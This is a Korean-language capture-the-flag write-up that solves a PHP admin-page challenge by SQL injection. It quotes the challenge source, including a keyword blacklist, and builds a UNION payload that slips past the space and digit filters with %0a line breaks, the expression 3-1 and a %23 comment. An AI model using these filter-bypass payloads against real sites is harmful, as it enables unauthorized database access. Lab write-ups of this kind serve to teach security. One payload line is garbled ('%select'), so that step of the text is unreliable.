문제에 들어가면 url이 변경된다. val=1이 붙는데 이상해서 2,3을 추가로 넣어봤다.
당연히 auth를 누르면 access denied되는데, get 파라미터를 수정하면 버튼 대신 다른 문구들이 나오는걸 볼 수 있다.
고로 아마 파라미터를 이용하는 문제가 아닐까 생각된다.
소스를 보니 역시 대강 짐작이 맞는 것 같다.
<input type=button style=border:0;bgcolor='gray' value='auth' onclick= alert('Access_Denied!')><p><!-- admin mode : val=2 --> <!-- index.phps -->
admin_mode가 2로 설정되있고 1은 일단 아무짝에도 쓸모가 없다.
고로 2로 인식하도록 쿼리를 수정해야겠다는 생각을 하고..
문제의 힌트인 index.phps를 읽어본다.
<!-- db에는 val=2가 존재하지 않습니다. union을 이용하세요 --> <? $answer = "????"; $go=$_GET[val]; if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); } $ck=$go; $ck=str_replace("*","",$ck); $ck=str_replace("/","",$ck); echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>"); if(eregi("--|2|50|\+|substring|from|infor|mation|lv|%20|=|!|<>|sysM|and|or|table|column",$ck)) exit("Access Denied!"); if(eregi(' ',$ck)) { echo('cannot use space'); exit(); } $rand=rand(1,5); if($rand==1) { $result=@mysql_query("select lv from lv1 where lv=($go)") or die("nice try!"); } if($rand==2) { $result=@mysql_query("select lv from lv1 where lv=(($go))") or die("nice try!"); } if($rand==3) { $result=@mysql_query("select lv from lv1 where lv=((($go)))") or die("nice try!"); } if($rand==4) { $result=@mysql_query("select lv from lv1 where lv=(((($go))))") or die("nice try!"); } if($rand==5) { $result=@mysql_query("select lv from lv1 where lv=((((($go)))))") or die("nice try!"); } $data=mysql_fetch_array($result); if(!$data[0]) { echo("query error"); exit(); } if($data[0]!=1 && $data[0]!=2) { exit(); } if($data[0]==1) { echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick= alert('Access_Denied!')><p>"); echo("<!-- admin mode : val=2 -->"); } if($data[0]==2) { echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick= alert('Congratulation')><p>"); @solve(); } ?>
처음보이는 주석은 문제 푸는 사용자들이 얼마나 삽질을 했나 싶어서 넣어준 힌트같은데, 2로 시도하지말고 union으로 해야한다고 힌트를 준다.
$_GET['val']를 $go로 받고, 설정되어 있지 않다면 mode를 1로 설정 (버튼)한다.
즉 mode는 1이면 안된다. 0으로 넣어주도록 하자.
$ck에 *, / 가 있다면 제거.
--|2|50|\+|substring|from|infor|mation|lv|%20|=|!|<>|sysM|and|or|table|column 는 쓸수 없고, 일반 공백도 사용할 수 없다.
보면 왠만한건 다 막혀있다. urlencode된 문자열도 2가 필터링되어있고, %20 도 따로 공백을 처리해서 제거해주고 있다.
여기서 우회를 하려면 URL Encoding for hardware 를 보도록 하자.
정확히는 개행이 아니라 라인을 추가하게 하는것이다.
마지막으로 랜덤 -_- 을 돌려서 처리하게 하는데 이 때문에 쿼리에 확신이 없으면 쓸데 없이 고치는 시간이 들게 되니 쿼리에 확신을 가져보자.
이런 형태의 문장이 완성되어야한다.
select lv from lv1 where lv=(0) union select 2 #
이건 랜덤이 1일때를 가정한것이기때문에 여러번 새로 고침해야된다.
앞서 말한 글을 정리해보자.
공백과 2가 제거 되지만 url encode reference를 참고해 개행을 집어넣자. 어차피 db는 똑똑해서 우리의 침입을 알아서 허용해준다.
select lv from lv1 where lv=0)%0aunion%select%0a2#
여기서 2를 사용할 수 없다. 그래서 계산을 DB에게 맡겨야한다. 3-1를 넣어준다. 땡기면 5-3을 해줘도 ... 농담이다.
select lv from lv1 where lv=0)%0aunion%select%0a3-1#
마지막으로 주석을 처리해준다.
select lv from lv1 where lv=0)%0aunion%select%0a3-1%23
이대로 query에 날려주면 문제가 해결된다.